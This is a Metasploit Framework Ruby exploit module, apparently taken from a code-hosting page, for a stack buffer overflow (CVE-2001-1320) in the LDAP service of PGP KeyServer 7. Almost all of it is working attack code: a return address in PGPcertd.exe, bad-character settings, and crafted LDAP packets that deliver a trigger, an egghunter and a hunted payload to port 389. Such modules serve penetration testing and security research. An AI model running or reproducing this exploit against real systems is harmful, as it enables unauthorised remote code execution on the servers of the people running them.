92 lines
2.4 KiB
Ruby
92 lines
2.4 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Network Associates PGP KeyServer 7 LDAP Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the LDAP service that is
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part of the NAI PGP Enterprise product suite. This module was tested
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against PGP KeyServer v7.0. Due to space restrictions, egghunter is
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used to find our payload - therefore you may wish to adjust WfsDelay.
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},
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'Author' => [ 'patrick' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2001-1320' ],
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[ 'OSVDB', '4742' ],
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[ 'BID', '3046' ],
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[ 'URL', 'http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/ldapv3/' ],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 450,
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'BadChars' => "\x00\x0a\x0d\x20",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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["Universal PGPcertd.exe", { 'Ret' => 0x00436b23 }], # push esp; ret PGPcertd.exe - patrick tested ok 2k/xp
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],
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'DisclosureDate' => 'Jul 16 2001',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(389)
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], self.class)
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end
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def exploit
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connect
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# - Maximum payload space is 102 so we use EggHunter instead.
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# - The PAYLOAD is put inside an invalid, rejected (but hunt-able) request.
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hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
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egg = hunter[1]
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eggstart = "\x30\x82\x01\xd9\x02\x01\x01\x60\x82\x01\xd2\x02\x01\x03\x04\x82\x01\xc9" # ldapsearch sniff
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eggend = "\x80\x00"
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print_status("Sending trigger and hunter first...")
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buf = "\x30\xfe\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x02\x0a\x01\x00\x02\x01\x00" # PROTOS suite sniff
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buf << [target['Ret']].pack('V') + hunter[0]
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buf << "\x00"
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sock.put(buf)
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disconnect
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connect
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print_status("Sending hunted payload...")
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sock.put(eggstart+egg+eggend)
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handler
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disconnect
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end
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end
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